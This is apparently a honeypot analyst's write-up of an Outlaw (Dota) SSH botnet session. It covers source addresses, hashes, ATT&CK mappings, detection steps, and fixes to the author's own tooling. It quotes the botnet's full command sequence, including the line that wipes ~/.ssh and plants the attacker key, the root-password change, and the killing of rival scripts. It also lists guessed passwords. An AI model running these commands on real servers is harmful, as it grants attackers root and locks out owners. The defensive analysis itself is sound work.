TL;DR
| Source | 179[.]216[.]16[.]184, AS28573 Claro NXT Telecomunicacoes Ltda, Brazil. AbuseIPDB classes it as a fixed-line ISP. Not on Spamhaus DROP |
| Access | SSH as root with 1qaz2wsx@123, a keyboard-pattern password. Two sessions: the first ran 19 commands, the second logged in and ran nothing |
| What it did | Cleared the immutable flags on ~/.ssh, deleted the directory and wrote a single key with the comment mdrfckr, changed the root password, killed and deleted two rival scripts, emptied /etc/hosts.deny, then read the CPU, memory, architecture, running processes and cron jobs |
| What it did not do | Download anything. No URL, no wget, curl or tftp, no payload. The session ended where the published script goes on to fetch its miner |
| Files recorded | a8460f44…f8f2, the mdrfckr authorized_keys file, and 01ba4719…546b, one newline |
| Verdict | First stage of the Outlaw (Dota) SSH botnet. High confidence on the family: the key comment, the key, the file hash and the command order all match published reports. No attribution to a person or group |
| Reputation | AbuseIPDB 100% (992 reports from 477 users in 90 days), VirusTotal 6 malicious and 4 suspicious of 92 engines, OTX 30 pulses. GreyNoise was rate limited, so no GreyNoise data |
Update: three more sources ran the same script within two hours
I ran the sensor's 24-hour highlights report at 16:50 CST and found the same sequence from three more addresses. The tooling this article describes recognised all four as the same family. All times are CST.
| Source | Logged in | Password it guessed | Key file recorded |
|---|---|---|---|
| 179[.]216[.]16[.]184 (Brazil, this article) | 14:38 | 1qaz2wsx@123 | yes |
| 165[.]154[.]207[.]2 (AS142002 Scloud Pte Ltd, on Spamhaus DROP) | 16:27 | Root123456789 | yes |
| 202[.]150[.]138[.]153 (Indonesia, AS23949 PT Comtronics Systems) | 16:31 | Pa$$word!* | yes |
| 134[.]255[.]183[.]88 | 16:38 | hello2026 | yes |
Each ran 19 commands and each recorded the same two files described below, the key file and the newline. (My first draft of this update said the Indonesian address had no recorded file. It did. My highlights report cut every list of addresses at three without saying so, and I read the cut as a fact. That is fixed.) Each source set a different random root password, four different values in four runs, which is why I do not publish them: a value is good for one host and one run.
All four present the same SSH client: banner SSH-2.0-libssh_0.9.6 (51 sightings from four addresses in 24 hours) and HASSH f555226df1963d1d3c09daf865abdc9a, which my sensor links across all four addresses. That is the libssh 0.9.x fingerprint the SANS ISC lists for this campaign from December 2022 on. Stock libraries share fingerprints, so it supports the match and does not make it. Four sources in two hours is also a reminder that this is a tool running across many hosts, not one operator at a keyboard.
Update 2: ten sources in six hours
I ran the highlights report again at 22:00 CST on 25 Nov. The same script has now come from ten addresses between 14:38 and 20:47 CST. The first four are in the table above. These are the other six:
| Source | Logged in (CST) | Passwords that worked | Commands |
|---|---|---|---|
| 50[.]6[.]204[.]157 (United States, AS31898; AbuseIPDB and Shodan name Newfold Digital, a hosting provider) | 18:54 | Pa$$Word123, Pa$sword1! |
38 (two runs of 19) |
| 154[.]116[.]254[.]157 (Angola, AS327806, a national IT agency's network; AbuseIPDB class: government) | 19:03 | the same two | 38 (two runs of 19) |
| 43[.]133[.]219[.]90 (network not looked up) | 19:10 | P4SSWORD!@# |
19 |
| 173[.]212[.]241[.]30 (network not looked up) | 19:20 | Password2! |
19 |
| 2[.]26[.]0[.]94 (on Spamhaus DROP) | 19:31 | test4321 |
19 |
| 128[.]1[.]198[.]78 (network not looked up) | 20:47 | zaq12wsxcde3 |
19 |
Same script, same files. The highlights report flags all ten as having dropped a file and planted the key, and the same chattr -ia .ssh; lockr -ia .ssh line appears against every one. For the six I opened in full, the two files are the key file and the newline file. Eight of the ten ran the 19 commands once. 50[.]6[.]204[.]157 and 154[.]116[.]254[.]157 ran them in two sessions each, with a different random root password in each run.
The same two guesses in every list. For the six sources whose guess lists I opened in full (the Brazilian, Scloud, Indonesian, German, Angolan and American addresses), two entries appear in every one: rootssssss23424123123 as both username and password, and root with the password root3245gs5662d34111111111. The two sources that ran twice also share two accepted passwords and most of their other guesses, in a different order. A tool working through a shared list would look like that; ten independent bots would not.
The same client. HASSH f555226df1963d1d3c09daf865abdc9a is now on 11 addresses in the sensor's seven-day data (187 sightings of the SSH-2.0-libssh_0.9.6 banner): the ten above and 222[.]208[.]64[.]40, which has 13 records in the sensor's fingerprint index. I have not opened that eleventh address, so I do not know whether it logged in.
The sources look like earlier victims. Shodan's record for the Angolan address lists 119 known vulnerabilities on an Ubuntu web and SSH host. The German address, 134[.]255[.]183[.]88, shows a container-management console (Portainer) and a MongoDB port open on the same machine. The Indonesian one runs MikroTik RouterOS and the Brazilian one an old Dropbear SSH. That is how a worm looks from outside: the machines attacking you are the last round's victims. It supports the reading in the assessment below and does not change it.
What the analysis lab holds. The lab has a case for each of the two files. For the key file it records MalwareBazaar's entry from 4 May 2021 (no family, tag "Linux malware"), ThreatFox's XMRig record, and VirusTotal at 32 of 73 engines (trojan.shell/malkey). For the newline file it records one byte, VirusTotal 0 of 74, and no confirmed malware, which is what a newline should get. Nothing in either case adds to the commands above.
Update 3: 47 addresses by 27 November
I ran the Sigma replay again at 17:22 CST on 27 Nov. The script has now come from 47 addresses in 57 sessions, up from 24 and 28 a day earlier, and the a8460f44… key file below was recorded from all 47. 27 of them arrived in the 24 hours to 17:08. Ten use the passwd form of the password change and have no cleanup step. The counts, the shared guess-list usernames and an address list for the last 24 hours are in 24 addresses became 47 in twenty hours.
Why this one is worth a write-up
Most of what lands on a honeypot has to be decoded: obfuscated one-liners, hex markers, binaries with no history. This session is the opposite. It is a fixed script that has barely changed in years, and it shows up with the same indicators on sensors all over the world. One researcher's DShield sensor logged 24 different source addresses writing this exact file in a single week of April 2026. That makes it a good case for two questions: what each line is for, and how much of that a triage tool can work out without help. The first answer is in the next section. The second is in the one after, where my tooling gets five things wrong.
The session, command by command
Each session ran 19 commands. The card I kept for the Brazilian session was cut off after 14. The full list from the Indonesian session in the update above shows the last five (rows 15 to 19), and the first 14 match the Brazilian card line for line, apart from lines 8 and 9, which are in the opposite order. I did not investigate why. I list the five from the Indonesian session and have not seen them in the Brazilian one. Reading the table: the first two lines take control of the account, the next three lock rivals and the owner out, and the rest is reconnaissance for the next stage.
| # | Command | What it is for |
|---|---|---|
| 1 | cd ~; chattr -ia .ssh; lockr -ia .ssh | Removes the immutable and append-only flags on ~/.ssh. A previous infection, or an administrator, may have locked the directory against changes. lockr is not a standard Linux command: Cowrie's emulated shell logs it as failed, and it appears in published copies of this line. I did not establish what it is for, so I treat it as a marker only. |
| 2 | cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4…+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ | The persistence step. It deletes everything in ~/.ssh (every existing key, known_hosts, config), recreates the folder, appends one RSA public key and removes group and other permissions so sshd accepts the file. The effect on a real server is two things at once: the attacker gets passwordless root, and any administrator who logged in with a key is locked out. |
| 3 | cat /proc/cpuinfo | grep name | wc -l | Counts the CPU cores. A miner is sized to the number of threads. |
| 4 | echo "root:<password>"|chpasswd|bash | Sets a new root password. The weak one that let the bot in no longer works, so a rival brute-forcing the same host fails and the owner is locked out. The trailing |bash receives empty input because chpasswd prints nothing. I am not publishing the password it chose. |
| 5 | rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; | Deletes and kills two scripts that other bots leave in /tmp, so a competitor cannot keep the host. Empties /etc/hosts.deny, which clears any TCP-wrapper block list. Killing sleep processes is my reading: rival scripts often restart themselves from a sleep loop, and this stops that. |
| 6 | cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' | The CPU model name, trimmed to the words after the label. |
| 7 | free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' | Total, used, free, shared, cache and available memory in megabytes. |
| 8, 9 | which ls, ls -lh $(which ls) | Looks up the ls binary and prints its size and permissions. This reads as a check on whether the system has real tools or an emulated or replaced shell. I did not see what the script compares the answer with. |
| 10 | crontab -l | Lists the account's scheduled jobs: other miners' persistence, or the owner's. |
| 11 | w | Who is logged in, and what they are running. Is an administrator watching? |
| 12 | uname -m | The architecture, which picks the matching miner build. |
| 13 | cat /proc/cpuinfo | grep model | grep name | wc -l | A second core count by a different grep. |
| 14 | top | Processes and load: any competing miner shows up here. |
| 15, 16 | uname, uname -a | Kernel name, hostname, kernel release and architecture. A second, fuller look than line 12. |
| 17 | whoami | Confirms the account the script is running as. After line 4 it is the root login it just locked in. |
| 18 | lscpu | grep Model | The CPU model, by a third method. |
| 19 | df -h | head -n 2 | awk 'FNR == 2 {print $2;}' | The size of the first filesystem: how much room there is for the miner and its files. |
The public key in line 2 begins AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8db and ends +oRw==, and it is the same key that the SANS ISC reports as unchanged since 2018. The exponent field JQ decodes to 37, which is unusual for an RSA key and makes the prefix a good thing to search for.
The two files Cowrie recorded
Cowrie, the emulated SSH shell my honeypot runs, logs a file whenever the session creates one, and it reports the file as a download event even when no URL is involved. Two such events came out of this session.
| SHA-256 | What it is | Evidence |
|---|---|---|
a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 | The authorized_keys file written by line 2. A text file holding one public key. By my arithmetic it is 389 bytes: ssh-rsa (8), 372 base64 characters, mdrfckr (8) and a newline (1). The file is not malware on its own; it is the persistence artifact. | This is the hash the SANS ISC publishes for the file, and it says it has not changed since 2018. ThreatFox lists it as IOC 1831951 (XMRIG, confidence 85%, tags backdoor, malkey, ssh-key-plant, first seen 14 June 2026). The size is my calculation; the hash match is what makes it an identification. |
01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b | The SHA-256 of a single newline. It is what echo > /etc/hosts.deny writes in line 5. | Computed, and a one-line file is easy to confirm. It is harmless and it is not a payload. My pipeline queued it for analysis anyway, which is the second mistake below. |
What my tooling got wrong
- It did not name the family. The investigation card said “not identified, confidence low (behaviour only)” for a session whose key comment, key, file hash and command order are all in public reports. The tool had no table of documented indicators. It has one now, with the sources next to each entry, and it states which indicator matched.
- It called a newline a malware sample. A file created by the emulated shell, with no URL, was treated as a captured payload and sent on for analysis. The tool now says what the file is when it matches a known harmless value, and the one-newline case is recognised.
- It flagged
crontab -las cron persistence. Listing the cron table changes nothing. Only editing it, or writing into/etc/cron*, counts. The investigation card carriedT1053.003for this session and the daily highlights report listedcrontab -lunder persistence; I have removed it from the table below and fixed both. - It cut lists of addresses at three without saying so. The daily highlights report named three sources for the key file when there were four, and I repeated that in the first version of the update above. Lists now show every address, and say “+N more” when they are cut.
- It posted the same attacker twice. The second session ran no commands, but it produced its own full card. Empty repeats from an address already reported are now counted once in the daily digest and not posted.
What happens next on a real host
Everything above is what I captured. The following is what published research says comes next, and I did not observe any of it. Elastic Security Labs and Kaspersky describe the same botnet: after the SSH compromise the actor downloads a first-stage shell script named tddwrt7s.sh, which fetches an archive (dota.tar.gz in older reports, dota3.tar.gz in newer ones). The archive unpacks into a hidden folder .rsync and holds a modified XMRig miner installed as kswapd0, an obfuscated Perl IRC bot of the Shellbot family for remote control, and an SSH brute-force tool that targets the next hosts. The botnet is worm-like: each infected machine becomes a scanner. Trend Micro described the Perl backdoor and miner combination in 2019.
That matters for reading the source address. A residential line with 992 abuse reports in 90 days, and an old Dropbear 0.51 SSH service on port 22 in Shodan's record (a version that points at an embedded device or router rather than a server), looks more like an infected machine than an operator's own server. The Indonesian source supports that reading: Shodan lists a MikroTik RouterOS device on its address, on a fixed-line ISP with 2,372 AbuseIPDB reports from 918 users, which fits an infected machine on a customer line or the router itself, and I cannot tell which. That is a weak inference and I rate it low to medium confidence.
Assessment
- What: the key-planting and reconnaissance stage of Outlaw (also called Dota), a Perl-based SSH botnet that mines Monero. High confidence, because the key comment, the key, the file hash and the order of the commands all match published reports.
- Which stage: the first. No download was attempted in this session, so I have no evidence about the miner or the bot from my own capture.
- Who: unknown. The same key has been written by many unrelated addresses since 2018, so it identifies a toolkit, not a person, a network or a country. No attribution.
- The source host: probably another victim. Low to medium confidence.
Limits
- I have read all 19 commands from one of the four sessions (the Indonesian one) and the first 14 from the Brazilian one. No session produced a download URL.
- The HASSH for the Brazilian session itself was not in what I kept; I know it from the sensor's link between the four addresses. A stock library shares its fingerprint with unrelated tools.
- The failed-login count for the Brazilian address is not in what I kept, and GreyNoise was rate limited every time I asked, so its classification is missing for all four.
- The size of the key file is arithmetic, not a measurement. The hash is the identification.
- Cowrie is an emulation. It cannot tell me what a real shell would have returned for lines 8 and 9, or how the script reacts to the answer.
Detection and defense (for real systems)
- Find it:
grep -rl mdrfckr /root/.ssh /home/*/.ssh 2>/dev/null. Any hit means the host was compromised, not just probed. Also hash every authorized_keys file and compare againsta8460f44…. - If you find it: treat the machine as lost and rebuild it. Before that, look for a hidden
.rsyncfolder and a process namedkswapd0. The realkswapd0is a kernel thread and has no executable file, so akswapd0whose/proc/<pid>/exepoints at a file is not it. - Stop it writing: point sshd at a root-owned key directory with
AuthorizedKeysFile /etc/ssh/authorized_keys/%U, as the SANS ISC suggests. This script writes to the home-directory path, which sshd would then ignore. - Stop the login:
PermitRootLogin noandPasswordAuthentication no. The ISC notes that each source address makes only about ten attempts, so per-address limits such as fail2ban do not trigger. Count failures per target account across all sources instead. - Sigma rules for this script: six rules, tested against the commands above and against look-alikes that must stay quiet, are on the Sigma write-up, with what 109 public rules made of the same script.
- Alert on the commands:
chattr -iaon ~/.ssh followed byrm -rf .ssh, withauditdwatching/root/.sshand/home/*/.sshfor writes. - Do not rely on one HASSH. The client library moved from libssh 0.6 to 0.9 to 0.11.1 between 2022 and 2026, and each change broke rules pinned to the older value. The key hash and the comment string have not changed.
MITRE ATT&CK
| ID | Technique | Evidence |
|---|---|---|
| T1110.001 | Brute Force: Password Guessing | root with a keyboard-pattern password |
| T1078.003 | Valid Accounts: Local Accounts | Successful root login |
| T1222.002 | File and Directory Permissions Modification: Linux | chattr -ia .ssh, lockr -ia .ssh |
| T1098.004 | Account Manipulation: SSH Authorized Keys | Line 2 |
| T1098 | Account Manipulation | chpasswd |
| T1685 | Disable or Modify Tools | Deleting and killing rival scripts. This is the closest fit; ATT&CK has no technique for killing another bot |
| T1686 | Disable or Modify System Firewall | echo > /etc/hosts.deny, with TCP wrappers as a loose match |
| T1082, T1033, T1057 | System Information, System Owner/User, Process Discovery | cpuinfo, free, uname -m, w, top |
| T1497.001 | Virtualization/Sandbox Evasion: System Checks | ls -lh $(which ls). Low confidence |
Technique ids are from ATT&CK v20.1. Version 20 retired T1562.001 and T1562.004 (Impair Defenses is now a tactic, Defense Impairment), so the two rows above use their replacements, T1685 and T1686. An earlier version of this table showed the old ids.
IOCs
ipv4 179[.]216[.]16[.]184 source (AS28573, Brazil)
ipv4 165[.]154[.]207[.]2 same script, 16:27 CST (AS142002, Spamhaus DROP)
ipv4 202[.]150[.]138[.]153 same script, 16:31 CST
ipv4 134[.]255[.]183[.]88 same script, 16:38 CST
ipv4 50[.]6[.]204[.]157 same script twice, 18:54 CST
ipv4 154[.]116[.]254[.]157 same script twice, 19:03 CST (AS327806, Angola)
ipv4 43[.]133[.]219[.]90 same script, 19:10 CST
ipv4 173[.]212[.]241[.]30 same script, 19:20 CST
ipv4 2[.]26[.]0[.]94 same script, 19:31 CST (Spamhaus DROP)
ipv4 128[.]1[.]198[.]78 same script, 20:47 CST
ipv4 222[.]208[.]64[.]40 same SSH client, 13 sessions, no login seen (not examined)
banner SSH-2.0-libssh_0.9.6 x51 from four addresses in 24 h; x187 from 11 addresses in 7 days (low specificity)
sha256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 mdrfckr authorized_keys file
sha256 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b one newline; NOT an indicator, listed so nobody chases it
text mdrfckr key comment, unchanged since 2018
key ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8db… (RSA, exponent 37; ends +oRw==)
cmd cd ~; chattr -ia .ssh; lockr -ia .ssh
cmd cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa …mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh
path /tmp/secure.sh, /tmp/auth.sh rival scripts this script deletes
hassh 51cba57125523ce4b9db67714a90bf6e libssh 0.6.x, Oct-Nov 2022
hassh f555226df1963d1d3c09daf865abdc9a libssh 0.9.x, Dec 2022 on
hassh 03a80b21afa810682a776a7d42e5e6fb libssh 0.11.1, April 2026 (all three: low specificity, they change)
cred root / 1qaz2wsx@123 as guessed on this session
cred rootssssss23424123123 username = password; present in every guess list opened (6 sources)
cred root / root3245gs5662d34111111111same lists
References
- SANS Internet Storm Center, guest diary “New Malware Libraries means New Signatures” (15 May 2026): the file hash, the three HASSH values, the command sequence and the detection guidance
- SANS Internet Storm Center, “Securing Your SSH authorized_keys File” (27 May 2025): central key directories
- abuse.ch ThreatFox IOC 1831951: the key file hash, tagged as an SSH key plant
- Elastic Security Labs, “Outlaw Linux Malware: Persistent, Unsophisticated, and Surprisingly Effective”: the execution chain after the key is planted
- Kaspersky Securelist, “Outlaw botnet” (April 2025): the Perl bot, the miner and the first-stage script
- Trend Micro, “Outlaw Hacking Group’s Botnet Observed Spreading Miner, Perl-Based Backdoor” (2019)
- MITRE ATT&CK T1098.004, SSH Authorized Keys
- AbuseIPDB, AlienVault OTX, VirusTotal and Shodan records for the source address (25 Nov 2026)